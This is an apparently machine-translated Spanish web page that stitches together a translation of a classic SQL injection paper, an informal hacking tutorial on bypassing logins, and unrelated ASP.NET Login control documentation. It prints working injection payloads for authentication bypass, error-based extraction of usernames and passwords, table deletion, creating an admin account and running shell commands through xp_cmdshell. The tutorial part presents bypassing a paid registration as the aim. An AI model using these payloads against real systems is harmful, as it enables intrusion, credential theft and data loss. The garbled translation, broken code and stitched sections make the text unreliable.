Hogar Preparativos para el invierno. Control de inicio de sesión. Cómo obtener los resultados de mi consulta SQL

Control de inicio de sesión. Cómo obtener los resultados de mi consulta SQL

este trabajo es una traducción de parte del trabajo de Chris Anley Inyección SQL avanzada en servidor SQL Aplicaciones. ()
En artículos siguientes, si hay tiempo libre, esta traducción será completado.

PD La traducción será más interesante para fines educativos e históricos.

Título original del artículo: Inyecciones SQL avanzadas en aplicaciones que utilizan el lenguaje SQL.

anotación

Este artículo analiza en detalle los métodos generales de "inyección SQL" para una plataforma conocida. internet Servidor de información/Páginas de Active Server/SQL Server. Se discute varias opciones utiliza la inyección SQL en aplicaciones y explica técnicas de validación de datos, así como la protección de bases de datos donde se puede utilizar la inyección.

Introducción

El lenguaje de consulta estructurado (SQL) es un lenguaje estructurado que se utiliza para interactuar con bases de datos. Hay muchos "dialectos" del lenguaje SQL, pero hoy en día se basan principalmente en el estándar SQL-92, uno de los primeros estándares ANSI. La unidad operativa básica de SQL es una consulta, que es una colección de expresiones que normalmente devuelven un conjunto de resultados. Las expresiones SQL pueden cambiar la estructura de las bases de datos (usando lenguajes de definición de datos, DLL) y manipular su contenido (usando lenguajes de manipulación de datos, DML). En este trabajo, veremos Transact-SQL, utilizado en Microsoft SQL Server.

La inyección SQL es posible cuando un atacante puede insertar código SQL en una consulta para controlar los datos que se envían a la aplicación.

Una expresión SQL típica tiene este aspecto:

Seleccione identificación, nombre, apellido de los autores.

Esta expresión toma "id", "nombre" y "apellido" de las columnas de la tabla "autores" y devuelve todas las filas de la tabla. La muestra puede limitarse a un “autor” específico, por ejemplo:

Seleccione identificación, nombre y apellido de los autores donde nombre = "john" y apellido = "smith"

Cabe señalar que en Esta petición los literales de cadena están separados por comillas simples. Se supone que "nombre" y "apellido" son entradas del usuario. EN en este caso un atacante podrá realizar su propia consulta SQL agregando sus propios valores a la aplicación. Por ejemplo:

Nombre: jo"hn Apellido: smith

Entonces la expresión tomará siguiente vista:

Seleccione identificación, nombre y apellido de los autores donde nombre = "jo"hn" y apellido = "smith"

Después de que la base de datos intente procesar dicha solicitud, se devolverá el siguiente error:

Servidor: Mensaje 170, Nivel 15, Estado 1, Línea 1 Línea 1: Sintaxis incorrecta cerca de "hn".

El motivo del error será que la comilla simple ingresada estropeará la estructura delimitadora de la consulta. Por lo tanto, la base de datos intentará ejecutar el comando "hn" sin éxito, lo que generará un error. Como resultado, si un atacante ingresa la siguiente información en el formulario:

Nombre: jo"; soltar autores de la tabla-- Apellido:

La tabla de "autores" se eliminará; veremos por qué sucede esto más adelante.

Se podría pensar que si eliminamos las comillas simples del formulario de entrada y también las "reemplazamos", esto podría resolver nuestro problema. Y tendrá razón, sin embargo, existen algunos problemas al utilizar este método como solución a este problema. En primer lugar, no todas las entradas del usuario son "cadenas". Si el formulario de usuario contendrá el "id" del autor, que suele ser un número. Por ejemplo, nuestra solicitud podría verse así:

Seleccione ID, nombre y apellido de los autores donde ID = 1234

En este caso, un atacante puede agregar fácilmente cualquier expresión SQL después de los datos numéricos. Otros tipos de consultas SQL utilizan delimitadores diferentes. Por ejemplo, en Microsoft Jet DBMS, el delimitador será el carácter "#". En segundo lugar, "escapar" de las comillas simples no es en absoluto la forma más sencilla de protegerlas, como podría parecer al principio. Hablaremos más sobre esto más adelante.

A continuación se muestra un ejemplo basado en una página de inicio de sesión basada en páginas Active Server (ASP) que utiliza SQL para acceder a una base de datos y autorizar a un usuario a acceder a una aplicación.

Aquí está el código de la página que contiene el formulario de inicio de sesión donde ingresa su nombre de usuario y contraseña.

Iniciar sesión en la página

Nombre de usuario:
Contraseña:

A continuación se muestra el código (process_login.asp) que determina la exactitud de los datos ingresados.

p (tamaño de fuente=20pt! importante) fuente (tamaño de fuente=20pt! importante) h1 (tamaño de fuente=64pt! importante) if (rso.EOF) (rso.close(); ACCESO DENEGADO) else( %> 0) ( Iniciar sesión(cn); ) ) cn.close(); Principal(); %>

La vulnerabilidad aquí está contenida en "process_login.asp", que crea una solicitud como esta:

Var sql = "seleccione * de usuarios donde nombre de usuario = "" + nombre de usuario + "" y contraseña = "" + contraseña + """;

Si el usuario ingresa:

Nombre de usuario: "; eliminar usuarios de la tabla-- Contraseña:

Se eliminará la tabla "usuarios", lo que denegará el acceso a la aplicación a todos los usuarios. La combinación "--" en Transact-SQL define un comentario de una sola línea y ";" Marca el final de una línea y el comienzo de otra. Se utilizan dos guiones consecutivos en esta consulta para completar la consulta sin errores.

Además, un atacante puede iniciar sesión en el sistema con cualquier nombre de usuario utilizando la siguiente construcción:

Nombre de usuario: administrador"--

Y al ingresar la siguiente información, un atacante podrá iniciar sesión en el sistema como un usuario ficticio:

Nombre de usuario: " union select 1, "fictional_user", "some_password", 1--

La razón por la que esto funciona es que la aplicación "creerá" que el resultado ficticio devuelto es un conjunto de registros de la base de datos.

Obtener información basada en mensajes de error

El inventor de esta técnica es David Litchfield, un investigador en el campo de las pruebas de penetración (con el fin de probar un sistema de seguridad). Posteriormente, David escribió un artículo sobre este tema, al que muchos otros autores han hecho referencia. Su trabajo explica el mecanismo para utilizar mensajes de error: la técnica del "mensaje de error". En su obra, explica detalladamente esta técnica a los lectores y da un mayor impulso al desarrollo de su propia comprensión de este problema.

Para manipular datos con éxito, un atacante debe conocer la estructura de las bases de datos y tablas a las que quiere acceder. Por ejemplo, nuestra tabla "usuarios" se creó usando el siguiente comando:

Crear usuarios de tabla (id int, nombre de usuario varchar(255), contraseña varchar(255), privs int)

Y contiene los siguientes usuarios:

Insertar en valores de usuarios(0, "admin", "r00tr0x!", 0xffff) insertar en valores de usuarios(0, "invitado", "invitado", 0x0000) insertar en valores de usuarios(0, "chris", "contraseña", 0x00ff) insertar en los valores de los usuarios (0, "fred", "sesame", 0x00ff)

Digamos que nuestro hacker quiere insertar su propio registro en la tabla. Es poco probable que tenga éxito si no conoce su estructura. Pero incluso si lo logra, el significado del campo “privs” seguirá sin estar claro. Un atacante puede insertar el valor "1", creando una cuenta con privilegios bajos, mientras necesita acceso a nivel de administrador de la aplicación.

Afortunadamente, para un hacker, el comportamiento estándar de ASP en caso de errores es mostrar mensajes sobre ellos, utilizándolos para determinar completamente la estructura de la base de datos y, por lo tanto, descubrir los valores de todos los campos de las cuentas de usuario que se ingresan en la aplicación. base de datos.

(En el siguiente ejemplo usaremos la base de datos sugerida anteriormente, así como un script ASP, para mostrar esta técnica en acción).

Primero, el atacante querrá determinar los nombres de las tablas en las que operan las consultas, así como los nombres de los campos. Para lograr este objetivo, un atacante utilizará la construcción "tener" en la expresión de selección:

Nombre de usuario: "teniendo 1=1--

Lo que provocará el siguiente error:

Error "80040e14" del proveedor Microsoft OLE DB para controladores ODBC La columna "users.id" no es válida en la lista de selección porque no está contenida en una función agregada y no hay una cláusula GROUP BY. /process_login.asp, línea 35

Así, conociendo los nombres de las tablas y el nombre de la primera columna de la misma. Este procedimiento se puede continuar utilizando el operador "agrupar por", como se muestra a continuación:

Nombre de usuario: "grupo por usuarios.id que tiene 1=1--

(que a su vez generará un nuevo error)

Error "80040e14" del proveedor OLE DB de Microsoft para controladores ODBC La columna "users.username" no es válida en la lista de selección porque no está contenida ni en una función agregada ni en la cláusula GROUP BY. Como resultado, al hacker se le ocurrirá la siguiente construcción:
"grupo por usuarios.id, usuarios.nombre de usuario, usuarios.contraseña, usuarios.privs teniendo 1=1--
Lo cual no causará error y será equivalente a:
seleccione * de los usuarios donde nombre de usuario = ""
De esta forma, el atacante sabe que la solicitud sólo afecta a la tabla "usuarios", cuya estructura es "id, nombre de usuario, contraseña, privs" (en ese orden). Esta información será útil si puede averiguar el tipo de datos que se utiliza en cada una de las columnas. Se puede obtener información sobre el tipo de datos mediante la "conversión de tipo", por ejemplo:
Nombre de usuario: "unión seleccione suma (nombre de usuario) de los usuarios--
El objetivo de la función summ() es que el servidor SQL intenta ejecutarla antes de determinar si el valor es numérico o de caracteres. Intentar calcular la "suma" de un campo de texto dará como resultado el siguiente error:
Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC La operación de suma o agregado promedio no puede tomar un tipo de datos varchar como argumento. /process_login.asp, línea 35
Lo que nos dice que el tipo de datos en el campo "nombre de usuario" es varchar. Por otro lado, si intentamos evaluar suma() de tipo numérico, recibiremos un mensaje notificándonos que el número de caracteres en el conjunto de dos cadenas de texto no coincide:
Nombre de usuario: " union select sum(id) de los usuarios-- Proveedor Microsoft OLE DB para controladores ODBC error "80040e14" Todas las consultas en una declaración SQL que contiene un operador UNION debe tener un número igual de expresiones en sus listas de objetivos. /process_login.asp, línea 35
Podemos utilizar una técnica similar para determinar el tipo de datos de casi cualquier columna, cualquier tabla ubicada en la base de datos. Lo que a su vez ayudará al atacante a crear una solicitud de "inserción" bien escrita, por ejemplo:
Nombre de usuario: "; insertar en los valores de los usuarios (666, "atacante", "foobar", 0xffff)--
Sin embargo, las capacidades del algoritmo no terminan ahí. El hacker puede conseguir información útil de errores sobre el entorno o la propia base de datos. Lista errores estándar se puede obtener usando la construcción:
seleccione * de master..sysmessages
Al completar esta solicitud podrás obtener mucha información interesante. Particularmente útil es la información sobre la conversión de tipos. Si intenta convertir una cadena a un número entero, se devolverá un mensaje con todo el contenido de la cadena. En nuestro ejemplo, la conversión de "nombre de usuario" devolverá la versión del servidor SQL así como la versión del sistema operativo.
Nombre de usuario: " union select @@version,1,1,1-- Proveedor Microsoft OLE DB para controladores ODBC error "80040e07" Error de sintaxis al convertir el valor nvarchar "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) 6 de agosto de 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition en Windows NT 5.0 (compilación 2195: Service Pack 2)" to a column of data type int. /process_login.asp, line 35 !}
En el ejemplo anterior, intentaremos convertir la constante incorporada "@@versión" a un valor entero, ya que la primera columna de la tabla "usuarios" es de este tipo de datos. El método se puede utilizar para leer cualquier valor en cualquier tabla de la base de datos. Por lo tanto, si un atacante quiere descubrir nombres de usuario y contraseñas, lo más probable es que utilice la siguiente construcción para leer los datos:
Nombre de usuario: " union select min(nombre de usuario),1,1,1 de usuarios donde nombre de usuario > "a"--
Seleccionar un usuario cuyo "nombre de usuario" sea mayor que "a" resultará en un intento de convertir tipos a un valor entero:
Error de proveedor Microsoft OLE DB para controladores ODBC "80040e07" Error de sintaxis al convertir el valor varchar "admin" to a column of data type int. /process_login.asp, line 35 !}
Así, recibiremos una lista de usuarios, tras la cual podremos proceder a obtener contraseñas:
Nombre de usuario: " union select contraseña, 1,1,1 de usuarios donde nombre de usuario = "admin"-- Proveedor Microsoft OLE DB para controladores ODBC error "80040e07" Error de sintaxis al convertir el valor varchar "r00tr0x!" to a column of data type int. /process_login.asp, line 35 !}
Una forma más elegante es extraer todos los nombres de usuario y contraseñas en una muestra y luego intentar convertirlos a un valor entero. Cabe señalar que las expresiones Transact-SQL se pueden combinar en una línea sin cambiar su significado; considere el siguiente ejemplo:
comience a declarar @ret varchar(8000) establezca @ret=":" seleccione @ret=@ret+" "+nombre de usuario+"/"+contraseña de los usuarios donde nombre de usuario>@ret seleccione @ret como ret en foo end
Obviamente, el atacante “iniciará sesión” con este nombre de usuario:
Nombre de usuario: "; comience a declarar @ret varchar(8000) set @ret=":" seleccione @ret=@ret+" "+nombre de usuario+"/"+contraseña de los usuarios donde nombre de usuario>@ret seleccione @ret como ret en foo end- -
Esta consulta creará una tabla foo, que contendrá una sola columna "ret", que contendrá todas nuestras filas. A menudo, incluso un usuario con pocos privilegios tiene la capacidad de crear una tabla en una base de datos, o incluso una base de datos temporal. De este modo, un atacante puede seleccionar todas las filas de esta tabla, como en el ejemplo anterior:
Nombre de usuario: " union select ret,1,1,1 from foo-- Proveedor Microsoft OLE DB para controladores ODBC error "80040e07" Error de sintaxis al convertir el valor varchar ": admin/r00tr0x! invitado/invitado chris/contraseña fred /sésamo" to a column of data type int. /process_login.asp, line 35 !}
Y luego borrará sus huellas borrando la tabla:
Nombre de usuario: "; soltar tabla foo--
Los ejemplos anteriores nos muestran toda la flexibilidad que ofrece este algoritmo. No hace falta decir que si un atacante logra provocar un error al acceder a la base de datos, su trabajo se vuelve mucho más fácil. /process_login.asp, línea 35

La inyección SQL es una muy buena oportunidad para que un hacker obtenga
acceso al servidor. Y con un poco de esfuerzo,
todavía lo entiende :)

Codificador dentro

Hoy en día se admite el trabajo con bases de datos.
casi todos los lenguajes de programación, estos incluyen BASIC, C++, Java, PERL, PHP, Assembler e incluso JavaScript. Y estos programas se llaman nada más que DBMS: sistemas de gestión de bases de datos. Las bases de datos se utilizan a menudo para resolver problemas financieros,
contabilidad, organización de personal, pero también han encontrado su aplicación en Internet.

Las bases de datos se utilizan a menudo para escribir aplicaciones WEB. Su uso es más apropiado para almacenar datos de registro de usuarios, identificadores de sesión, organizar búsquedas, así como otras tareas que requieren un mayor procesamiento.
la cantidad de datos. Para acceder a la base de datos se utilizan tecnologías de servidor: PHP, PERL, ASP, etc. Aquí es donde comienza la diversión. Cuando en el servidor
todos los parches están instalados y el firewall bloquea todos los puertos excepto el puerto 80 o cuando se requiere autenticación para acceder a algunos datos, un pirata informático puede usar la inyección SQL para piratear. La esencia de este ataque es explotar un error en la intersección de las tecnologías WEB y SQL. El hecho es que muchos páginas web Para procesar los datos del usuario, forman una consulta SQL especial a la base de datos. El uso descuidado de esta técnica puede conducir a resultados bastante interesantes...

Inyección SQL

Para explicar el ataque, imaginemos que fue al sitio para descargar una herramienta muy importante y notó con horror que solo un usuario registrado puede hacer esto, y el registro, por supuesto, cuesta dinero 🙂 No quiere regalar su ¡Último dinero ganado, pero no puedes hacerlo sin el programa! Es hora de recordar cómo
acceder a bases de datos SQL. Por ejemplo, verificar su nombre de usuario y contraseña en PHP puede verse así:

$resultado=mysql_db_query($db,"SELECCIONAR * DE $tabla DONDE usuario="$iniciar sesión" Y
pasar="$contraseña"");
$num_rows=mysql_num_rows($resultado);
mysql_close($enlace);
si ($núm_filas!=0)
{
// AUTENTICACIÓN OK
}
demás
{
// ERROR DE AUTENTICACIÓN
}

Agregué dos comentarios, "AUTENTICACIÓN OK". Debería reemplazarlo.
vaya al código que se ejecutará si la contraseña y el inicio de sesión son correctos. Otro “ERROR DE AUTENTICACIÓN” es un lugar donde se describirá el código que se ejecutará si son incorrectos. Si completa el formulario, la solicitud se verá así: "http://www.server.com?login=user&password=31337", donde www.server.com es el nombre
el servidor al que estamos intentando conectarnos. Encontramos lo que buscábamos y por eso volveremos a trabajar con SQL nuevamente. Entonces, si debe especificar un nombre de usuario y contraseña para la autorización, la consulta SQL generada se verá así:

SELECCIONE * DE los usuarios DONDE login="usuario" Y
contraseña="31337"

Esto significa algo como esto: devuélveme todos los registros de la base de datos de usuarios cuyo inicio de sesión sea "usuario" y contraseña sea "31337". Si existe dicho registro, entonces el usuario está registrado, pero si no, entonces no... Pero bajo ciertas circunstancias, todo se puede corregir. Esto se refiere a la situación en la que la aplicación no verifica el contenido de los datos transmitidos o no los verifica completamente para detectar la presencia de instrucciones SQL. En este ejemplo, se marcan dos campos de inicio de sesión y contraseña, pero si especifica “31337′ AND email=’ como contraseña [correo electrónico protegido]”(sin comillas dobles), entonces la consulta resultará un poco diferente:

SELECCIONE * DE los usuarios DONDE login="usuario" Y contraseña="31337" Y
correo electrónico=" [correo electrónico protegido]"

Y si el campo de correo electrónico existe, también se comprobará esta condición. Si recuerdas los conceptos básicos del álgebra booleana, te viene a la mente que además de la operación "y", también existe la operación "o", y dado que su uso es compatible con SQL, puedes
de la forma descrita, agregue una condición que siempre devuelva verdadero. Para hacer esto, debe especificar "usuario' OR 1=1—" como inicio de sesión, en cuyo caso la solicitud tomará la forma:

SELECCIONE * DE los usuarios DONDE login="usuario" O 1=1--" Y
contraseña="31337"

Primero debes saber que “—” significa el final de la solicitud, y todo lo que sigue a “—”
¡No será procesado! Resulta que hicimos una solicitud:

SELECCIONE * DE usuarios DONDE login="usuario" O 1=1

Como puede ver, agregamos la condición "1=1", lo que significa que el criterio de verificación será "si el inicio de sesión es 'usuario' o 1=1", pero 1 siempre es igual a 1 (la única excepción puede ser la aritmética de Dani Shepovalov). :)). Para poner a prueba nuestras sospechas
Ingrese "http://www.server.com?login=user o 1=1—&password=31337" en la barra de direcciones. Esto lleva al hecho de que no importa qué inicio de sesión hayamos especificado, sino
¡Especialmente la contraseña! Y estamos en la matriz... oh, en el sistema y tranquilamente podemos descargar lo que necesitamos.

Pero todo esto es en teoría. En la práctica, no sabemos cómo se genera la solicitud, qué datos se transmiten y en qué secuencia. Por lo tanto, es necesario especificar "usuario' OR 1=1—" para todos los campos. También debe consultar el formulario de envío para ver si hay campos ocultos. En HTML se describen como "". Si existe alguno, guarde la página y cambie los valores de estos campos. Los valores contenidos en ellos a menudo se olvidan de verificar la presencia de declaraciones SQL. Pero para que todo funcione, debes especificar la ruta completa al script que procesa esta solicitud en el formulario (etiqueta "FORMULARIO") para el parámetro "ACCIÓN".

Pero no siempre se sabe cómo se forma la solicitud,
El ejemplo anterior podría formarse de las siguientes formas:

SELECCIONE * DE los usuarios DONDE (iniciar sesión="usuario" Y contraseña="31337")
SELECCIONE * DE los usuarios DONDE login="usuario" Y contraseña="31337"
SELECCIONE * DE usuarios DONDE inicio de sesión = usuario Y contraseña = 31337

En este caso, puedes probar las siguientes opciones:

'O 1=1—
» O 1=1—
O 1=1—
'O'a'='a
"O "a"="a
') O ('a'='a
O '1' = '1'

Todo depende del propósito del script y del programador. Dado que cada uno tiende a hacer todo a su manera, es muy posible que el programador no elija la opción más sencilla. Por lo tanto, no debe inmediatamente
Ríndete si te rechazan. Necesario
intenta tanto como sea posible gran cantidad opciones...

Detección de contraseña

Eludir la autorización no es malo, pero muy a menudo el agujero que estás utilizando se cierra y se pierde todo lo que estaba disponible para ti.
Esto es de esperarse si el programador no es tonto.
Con el tiempo se cerrarán todas las lagunas. Puede deshacerse fácilmente de tales situaciones si se ocupa de ellas con anticipación. La solución correcta puede ser adivinar la contraseña usando
análisis de los resultados de la autenticación. Primero, intentemos adivinar la contraseña, para ello ingrese su ubicación:

'O contraseña>'a

Si nos dicen que se ha pasado la autorización, entonces la contraseña
no comienza con la letra “a”, sino con una de las siguientes en la lista. Sigamos adelante y sustituyamos
coloque "a", luego "b", "c", "d", "e"...etc. hasta que nos dicen que la contraseña no es correcta. Deje que este proceso se detenga en el símbolo “x”, en cuyo caso se crean dos opciones para el desarrollo de la situación: se encuentra la contraseña o la contraseña comienza con este símbolo. Para marcar la primera opción, escriba la ubicación de la contraseña:

'O contraseña ='x

y si se acepta la contraseña y se le permite ingresar, ¡entonces adivinó la contraseña! Bueno, no, entonces deberías seleccionar el segundo personaje,
exactamente igual, desde el principio. Comprueba si hay dos caracteres.
Necesito lo mismo. Al final, recibirás una contraseña y buscarás un inicio de sesión de la misma manera :)
Si la contraseña y el inicio de sesión encontrados no le convienen, puede buscar otros. Para hacer esto, debe comenzar a verificar desde el último carácter de la contraseña encontrada. Entonces, si la contraseña era “xxx”, es necesario verificar la existencia de la contraseña.
"xxxy":

'O contraseña='xxx

¡Para no perderte más de una opción!

Servidor MS SQL

MS SQL Server suele ser una bendición si no se realiza el filtrado necesario. Usando la vulnerabilidad de inyección SQL puedes ejecutar
comandos en el servidor remoto usando exec master..xp_cmdshell. Pero para usar este diseño
la operación SELECT debe completarse. En SQL, las declaraciones están separadas por punto y coma. Por lo tanto, para conectarse a alguna IP a través de Telnet, debe escribir la contraseña/ubicación de inicio de sesión:

"; maestro ejecutivo..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server tiene varias características más interesantes que le permiten descubrir los nombres de usuario y contraseñas almacenados en la base de datos. Para hacer esto, la salida del error se redirige a un servidor arbitrario y a través de él
análisis, puede averiguar el nombre de la tabla, los campos y sus tipos. Después de lo cual puedes solicitar

' UNION SELECT TOP 1 inicio de sesión DE los usuarios—

(iniciar sesión es el nombre del campo que contiene el inicio de sesión y usuarios es el nombre de la tabla,
semicientíficos en el proceso de análisis de errores).

La respuesta podría ser:


Error de sintaxis al convertir el valor nvarchar "admin" to a column of data type int. !}
/default.asp, línea 27

Ahora sabemos que hay un usuario llamado "admin". Ahora podemos obtener su contraseña:

‘UNION SELECT PRINCIPAL 1 contraseña DE los usuarios donde iniciar sesión=’admin’—

Resultado:

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "xxx" to a column of data type int. !}
/tedault.asp, línea 27

Ahora sabemos que hay un usuario "admin" con una contraseña "xxx". Con esto podrás con seguridad
úsalo e inicia sesión en el sistema 😉

Pero existen muchas otras funciones para trabajar con SQL,
Al trabajar con una base de datos, también puedes eliminar datos, modificarlos, insertar los tuyos propios e incluso manipular archivos y trabajar con el registro.
En general, las reglas de SQL Server :)

Proteccion

Pero, por supuesto, todo esto se puede evitar. Para hacer esto puedes
usar filtros,
proporcionada por los fabricantes. Puede encontrar sus propias soluciones, por ejemplo, reemplazando todos los
comillas dobles (si usamos comillas simples para una consulta SQL), o viceversa. Sólo puedes permitir el uso de letras y s@baki, si necesitas ingresar
dirección de correo electrónico. Y en la perla hay algo asombroso.
la función 🙂 quote() en el módulo DBI::DBD, que hace que su consulta SQL sea segura. Hay muchas soluciones, solo las necesitas
tomar ventaja de. De lo contrario, ¿por qué entonces todo esto...?

Control de inicio de sesión

El control de inicio de sesión facilita la creación de una página de inicio de sesión para la autenticación de formularios junto con la API de membresía. Proporciona listo para usar interfaz de usuario, que solicita el nombre de usuario y la contraseña y ofrece un botón para que el usuario inicie sesión. Detrás de escena, encapsula la funcionalidad que se describió en el artículo anterior: verificar las identidades de los usuarios a través de la API de membresía y encapsular la funcionalidad de autenticación de formularios básicos, como redirigir a la página solicitada originalmente en un área segura de la aplicación después de una ejecución exitosa. acceso.

Esto significa que Login encapsula cosas como Membership.ValidateUser() o FormsAuthentication.RedirectFromLoginPage(), por lo que no tienes que escribir ese código tú mismo. La siguiente imagen muestra el control de inicio de sesión en acción:

Cada vez que el usuario hace clic en el botón Iniciar sesión, el control verifica automáticamente el nombre de usuario y la contraseña mediante la función Membership.ValidateUser() y luego llama a FormsAuthenication.RedirectFromLoginPage() si la verificación es exitosa. Todas las opciones del control de inicio de sesión afectan la entrada que entrega a estos métodos. Por ejemplo, si marca la casilla Recordarme la próxima vez, pasará el valor verdadero en el parámetro createPersistentCookie del método RedirectFromLoginPage(). Por lo tanto, FormsAuthenticationModule crea una cookie persistente.

Detrás de escena, Login es un control compuesto ASP.NET. Es completamente extensible, en el sentido de que le permite anular cualquier estilo y propiedad de diseño, así como interceptar eventos emitidos para anular su comportamiento predeterminado. Si deja el control como está y no intercepta ningún evento, utilizará automáticamente el proveedor de membresía configurado para la aplicación.

La forma más simple de un control de inicio de sesión en una página se ve así:

Hay varias propiedades disponibles para cambiar la apariencia del control de inicio de sesión. Puede aplicar diferentes configuraciones de estilo como se muestra a continuación:

También puede utilizar clases de CSS para personalizar la apariencia de Iniciar sesión. Cada propiedad de estilo admitida por el control Login incluye una propiedad CssClass. Como con cualquier otro control ASP.NET, esta propiedad le permite especificar el nombre de una clase CSS que se agregó previamente al sitio web. Supongamos que se ha agregado la siguiente hoja de estilos CSS al proyecto, con el nombre de archivo MyStyles.css:

MyLoginTextBoxStyle (cursor: puntero; color de fondo: amarillo; alineación de texto: centro; relleno: 6px; borde: punteado negro; familia de fuentes: Verdana; alineación vertical: medio;). Iniciar sesión (display: bloque en línea;) .Título (relleno: 6px;)

Este archivo de estilo se puede incluir en la página de inicio de sesión para poder diseñar el elemento de inicio de sesión:

La siguiente tabla enumera los estilos admitidos por el control de inicio de sesión. Cada estilo funciona de la misma manera. Las propiedades de fuente y color se pueden configurar directamente, o puede usar la propiedad CssClass para especificar la clase CSS deseada:

Estilos admitidos por el control de inicio de sesión Descripción del estilo
Estilo de casilla de verificación

Define las propiedades de estilo para la casilla Recordarme la próxima vez.

Estilo de fracaso

Define el estilo del texto que se muestra cuando falla el inicio de sesión.

Estilo de hipervínculo

El control de inicio de sesión le permite definir varios tipos de hipervínculos, como por ejemplo a la página de registro inicial. Este estilo especifica la apariencia de dichos hipervínculos.

InstrucciónTextStyle

El control de inicio de sesión le permite especificar texto de ayuda que aparece directamente dentro del control de inicio de sesión. Este estilo especifica la apariencia de este texto.

Estilo de etiqueta

Define el estilo de las etiquetas Nombre de usuario y Contraseña.

Estilo del botón de inicio de sesión

Define el estilo del botón de inicio de sesión.

Estilo de cuadro de texto

Define el estilo de los campos de texto Nombre de usuario y Contraseña.

TítuloTextoEstilo

Define el estilo del texto del título para el control de inicio de sesión.

Estilo de texto validador

Define estilos para los controles utilizados para validar el nombre y la contraseña de un usuario.

La interfaz de usuario del elemento Login no sólo se personaliza mediante estos estilos; Otras propiedades adicionales se dirigen a partes específicas del contenido del control, como el botón Iniciar sesión, que también le permite personalizar la GUI.

Por ejemplo, puede elegir el texto que se muestra en el botón de inicio de sesión, o incluso mostrar un hipervínculo en lugar de este botón (como está configurado de forma predeterminada). Además, puede agregar varios hipervínculos al control de inicio de sesión, como un vínculo a una página de ayuda o una página de registro. Ambas páginas deben estar abiertas al acceso anónimo, ya que también se debe ofrecer ayuda a los usuarios anónimos (recuerde que si alguien ve el control de inicio de sesión, entonces es potencialmente un usuario anónimo). Para incluir enlaces adicionales en Iniciar sesión, modifique la definición mostrada anteriormente de la siguiente manera:

...

Este código hace que se muestren dos enlaces adicionales: a la página de ayuda y a la página de registro inicial, y también agrega texto. breves instrucciones bajo el encabezado del elemento Iniciar sesión:

Los estilos descritos anteriormente también se aplican a estas propiedades. La siguiente tabla describe propiedades importantes para configurar el control de inicio de sesión:

Propiedades importantes para configurar el control de inicio de sesión descripción de propiedad
Mensaje de texto
Texto del título

Texto a mostrar en el título del control.

Texto de instrucción

Esta propiedad ya se utilizó en el fragmento de código anterior. Contiene el texto que aparece debajo del título del control.

Texto de falla

Texto que muestra el control de inicio de sesión si falla el intento de inicio de sesión

Nombre de usuarioEtiquetaTexto

Texto mostrado como etiqueta antes del campo de texto del nombre de usuario

ContraseñaEtiquetaTexto

Texto mostrado como etiqueta antes del campo de texto de contraseña de usuario

Nombre de usuario

Valor inicial para completar el campo de texto del nombre de usuario

Nombre de usuarioRequeridoMensaje de error

Mensaje de error mostrado si el usuario no ingresa un nombre

ContraseñaRequeridaMensaje de error

Mensaje de error mostrado si el usuario no ha ingresado una contraseña

Botón de inicio de sesión
Botón de inicio de sesiónTexto

Texto mostrado en el botón de inicio de sesión

Tipo de botón de inicio de sesión
Botón de inicio de sesiónImagenUrl

Si el botón de inicio de sesión se presenta como una imagen gráfica, debe especificar la URL donde se encuentra la imagen.

Página de inicio de sesión
URL de página de destino

Si el intento de inicio de sesión tiene éxito, el control de inicio de sesión redirige al usuario a esta página. De forma predeterminada, esta propiedad está vacía. En valor vacío utiliza el marco de autenticación de formularios para redirigir a la página solicitada original o a la URL predeterminada configurada en web.config para la autenticación de formularios

FalloAcción

Define la acción que realiza el control después de un intento fallido de inicio de sesión. Dos opciones válidas son Actualizar y RedirectToLoginPage. El primer valor hace que solo se actualice la página actual, mientras que el segundo provoca una redirección a la página de inicio de sesión configurada. La segunda opción es útil si el control de inicio de sesión se utiliza en otro lugar que no sea la página de inicio de sesión.

Visible cuando se inicia sesión

Si se establece en falso, el control se oculta automáticamente si el usuario ya inició sesión. Si se establece en verdadero (predeterminado), el elemento Iniciar sesión se muestra incluso si el usuario ha iniciado sesión

Configurar una etiqueta "Recordarme"
MostrarRecuérdame

Le permite mostrar u ocultar la casilla Recordarme la próxima vez. De forma predeterminada, esta propiedad está establecida en verdadero

RecuérdameEstablecer

Determina el valor predeterminado de la casilla Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en falso, es decir. la casilla de verificación no está marcada

Página de registro
Crear URL de usuario

Define un hipervínculo a una página de un sitio web que le permite crear (registrar) un usuario. Por lo tanto, esto se utiliza normalmente para permitir que el usuario acceda a la página de registro inicial. Normalmente esto mostrará el control CreateUserWizard

Crear texto de usuario
CrearUserIconUrl

URL del gráfico que aparece junto con el texto del hipervínculo CreateUserUrl

Página de ayuda
URL de la página de ayuda

URL para redirigir al usuario a la página de ayuda

Texto de la página de ayuda
URL del icono de página de ayuda

La URL del icono que aparece junto con el texto del hipervínculo HelpPageUrl.

Página de recuperación de contraseña
URL de recuperación de contraseña

La URL para redirigir al usuario a la página de recuperación de contraseña. Esta página se utiliza cuando el usuario ha olvidado la contraseña. Normalmente muestra el control PasswordRecovery

Texto de recuperación de contraseña
ContraseñaRecuperaciónIconUrl

La URL del icono que aparece junto con el texto del hipervínculo PasswordRecoveryUrl

Plantillas y control de inicio de sesión

Como puede ver, todas estas propiedades hacen que el control de inicio de sesión sea altamente personalizable. Pero como probablemente habrás notado, es imposible definir ninguna expresión para verificar la validez de la entrada. Por supuesto, es posible implementar la validación del lado del servidor dentro de los procedimientos de eventos que ofrece el control de inicio de sesión. Cuando desee agregar algunos elementos al control compuesto Iniciar sesión, no podrá hacerlo a través de las propiedades presentadas anteriormente. Por ejemplo, ¿qué sucede si necesita un segundo campo de texto para una autenticación segura con una segunda contraseña o una clave de acceso personalizada, como lo hacen algunos sitios gubernamentales?

Afortunadamente, al igual que otros controles como GridView, el elemento Iniciar sesión admite plantillas. Las plantillas le permiten personalizar el contenido del control de inicio de sesión sin restricciones. Puede agregarle cualquier control nuevo. Aplica una plantilla personalizada al control de inicio de sesión mediante el identificador LayoutTemplate:

Iniciar sesión

Nombre de usuario:
Contraseña:

Si la suerte está de tu lado, podrás iniciar sesión sin nombre de usuario ni contraseña.

3.1 ¿Pero por qué " o 1=1--?

